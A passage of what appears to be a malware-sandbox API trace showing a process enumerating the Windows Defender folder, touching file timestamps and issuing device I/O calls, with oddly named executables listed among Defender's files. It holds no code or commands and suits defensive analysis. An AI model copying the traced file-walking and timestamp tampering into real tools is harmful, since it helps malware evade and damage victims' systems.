ftLastWriteTime.dwLowDateTime=0x9f9d33b0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Defender", cAlternateFileName="")) returned 1 [0080.156] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0080.156] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Defender" (normalized: "c:\\program files\\windows defender"), fInfoLevelId=0x0, lpFileInformation=0x119f678 | out: lpFileInformation=0x119f678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9f9d33b0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9f9d33b0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0080.156] CreateFileW (lpFileName="C:\\Program Files\\Windows Defender" (normalized: "c:\\program files\\windows defender"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0080.156] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119f6bc, lpLastWriteTime=0x119f6bc) returned 0 [0080.156] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11fe6e0 [0080.157] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11fe6e0, nOutBufferSize=0x4000, lpBytesReturned=0x119f714, lpOverlapped=0x0 | out: lpOutBuffer=0x11fe6e0, lpBytesReturned=0x119f714, lpOverlapped=0x0) returned 0 [0080.157] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe6e0) returned 1 [0080.157] NtClose (Handle=0x164) returned 0x0 [0080.157] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0080.157] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Defender\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0x2e9080 [0080.157] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9f9d33b0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9f9d33b0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.157] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23376857, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0080.158] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x150a97a1, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x150a97a1, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x33b368d0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpAsDesc.dll", cAlternateFileName="")) returned 1 [0080.158] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a1a0776, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x2a1a0776, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x33bf4fb0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x8ba00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpClient.dll", cAlternateFileName="")) returned 1 [0080.158] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f7bb298, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x1f7bb298, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe86ec360, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2ea00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpCmdRun.exe", cAlternateFileName="")) returned 1 [0080.158] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2070df03, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x2070df03, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x33cb3690, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x4ce00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpCommu.dll", cAlternateFileName="")) returned 1 [0080.158] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15819bcb, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x15819bcb, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x7d1de1f0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0xcc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpEvMsg.dll", cAlternateFileName="")) returned 1 [0080.158] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18c9dd08, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x18c9dd08, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x33d01890, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xcc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpOAV.dll", cAlternateFileName="")) returned 1 [0080.158] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d4eb396, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x1d4eb396, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x33f88820, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x30e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpRTP.dll", cAlternateFileName="")) returned 1 [0080.158] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34b85c54, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x34b85c54, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x33f88820, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xf7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpSvc.dll", cAlternateFileName="")) returned 1 [0080.158] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2afc28f9, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x2afc28f9, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe8c21380, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xeaa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSASCui.exe", cAlternateFileName="")) returned 1 [0080.158] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e1b943a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9e1b943a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9e1b943a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xee00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsMpCom.dll", cAlternateFileName="")) returned 1 [0080.158] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x144043c0, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x144043c0, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x94b72470, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsMpLics.dll", cAlternateFileName="")) returned 1 [0080.158] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1594a6b3, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x1594a6b3, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x36199360, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x77200, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsMpRes.dll", cAlternateFileName="")) returned 1 [0080.158] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2186820, ftCreationTime.dwHighDateTime=0x1d57315, ftLastAccessTime.dwLowDateTime=0x3b12e660, ftLastAccessTime.dwHighDateTime=0x1d54e8c, ftLastWriteTime.dwLowDateTime=0x3b12e660, ftLastWriteTime.dwHighDateTime=0x1d54e8c, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="quantitative.exe", cAlternateFileName="")) returned 1 [0080.158] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c5efa40, ftCreationTime.dwHighDateTime=0x1d5a32e, ftLastAccessTime.dwLowDateTime=0xdd336df0, ftLastAccessTime.dwHighDateTime=0x1d54a97, ftLastWriteTime.dwLowDateTime=0xdd336df0, ftLastWriteTime.dwHighDateTime=0x1d54a97, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="stick-hotels.exe", cAlternateFileName="")) returned 1 [0080.158] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c5efa40, ftCreationTime.dwHighDateTime=0x1d5a32e, ftLastAccessTime.dwLowDateTime=0xdd336df0, ftLastAccessTime.dwHighDateTime=0x1d54a97, ftLastWriteTime.dwLowDateTime=0xdd336df0, ftLastWriteTime.dwHighDateTime=0x1d54a97, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="stick-hotels.exe", cAlternateFileName="")) returned 0 [0080.158] GetLastError () returned 0x12 [0080.159] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Defender\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0x2e90c0 [0080.159] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0080.159] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9f9d33b0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9f9d33b0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.159] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23376857, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0080.159] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Defender\\en-US" (normalized: "c:\\program files\\windows defender\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23376857, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0080.159] CreateFileW (lpFileName="C:\\Program Files\\Windows Defender\\en-US" (normalized: "c:\\program files\\windows defender\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0080.160] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119f404, lpLastWriteTime=0x119f404) returned 0 [0080.160] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11fe6e0, nOutBufferSize=0x4000, lpBytesReturned=0x119f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x11fe6e0, lpBytesReturned=0x119f45c, lpOverlapped=0x0) returned 0 [0080.160] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe6e0) returned 1 [0080.160] NtClose (Handle=0x164) returned 0x0 [0080.161] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.161] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.161] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0080.161] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb7b8 [0080.162] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Defender\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9080 [0080.162] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23376857, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.162] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe494541, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe874c0b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xe494541, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x8a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpAsDesc.dll.mui", cAlternateFileName="")) returned 1 [0080.162] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.162] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.162] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.162] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.162] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.163] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f3ff0 [0080.163] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb950 [0080.163] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.163] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcd37ad, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe067905, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xdcd37ad, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpEvMsg.dll.mui", cAlternateFileName="")) returned 1 [0080.163] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.163] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.163] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.164] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.164] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.164] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f4010 [0080.164] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce08 [0080.164] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.164] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe494541, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe874c0b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xe494541, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xb600, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsMpRes.dll.mui", cAlternateFileName="")) returned 1 [0080.164] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.165] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.165] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.165] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.165] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.165] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f4030 [0080.165] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcd80 [0080.166] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.166] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe494541, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe874c0b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xe494541, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xb600, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsMpRes.dll.mui", cAlternateFileName="")) returned 0 [0080.166] GetLastError () returned 0x12 [0080.166] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Defender\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9000 [0080.166] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0080.166] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23376857, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.166] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe494541, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe874c0b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xe494541, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x8a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpAsDesc.dll.mui", cAlternateFileName="")) returned 1 [0080.166] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcd37ad, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe067905, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xdcd37ad, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpEvMsg.dll.mui", cAlternateFileName="")) returned 1 [0080.166] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe494541, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe874c0b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xe494541, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xb600, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsMpRes.dll.mui", cAlternateFileName="")) returned 1 [0080.166] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe494541, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe874c0b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xe494541, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xb600, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsMpRes.dll.mui", cAlternateFileName="")) returned 0 [0080.166] GetLastError () returned 0x12 [0080.166] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb7b8) returned 1 [0080.167] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0080.167] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0080.167] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.167] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x150a97a1, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x150a97a1, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x33b368d0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpAsDesc.dll", cAlternateFileName="")) returned 1 [0080.167] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a1a0776, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x2a1a0776, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x33bf4fb0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x8ba00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpClient.dll", cAlternateFileName="")) returned 1 [0080.167] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f7bb298, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x1f7bb298, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe86ec360, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2ea00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpCmdRun.exe", cAlternateFileName="")) returned 1 [0080.167] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2070df03, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x2070df03, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x33cb3690, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x4ce00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpCommu.dll", cAlternateFileName="")) returned 1 [0080.167] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: 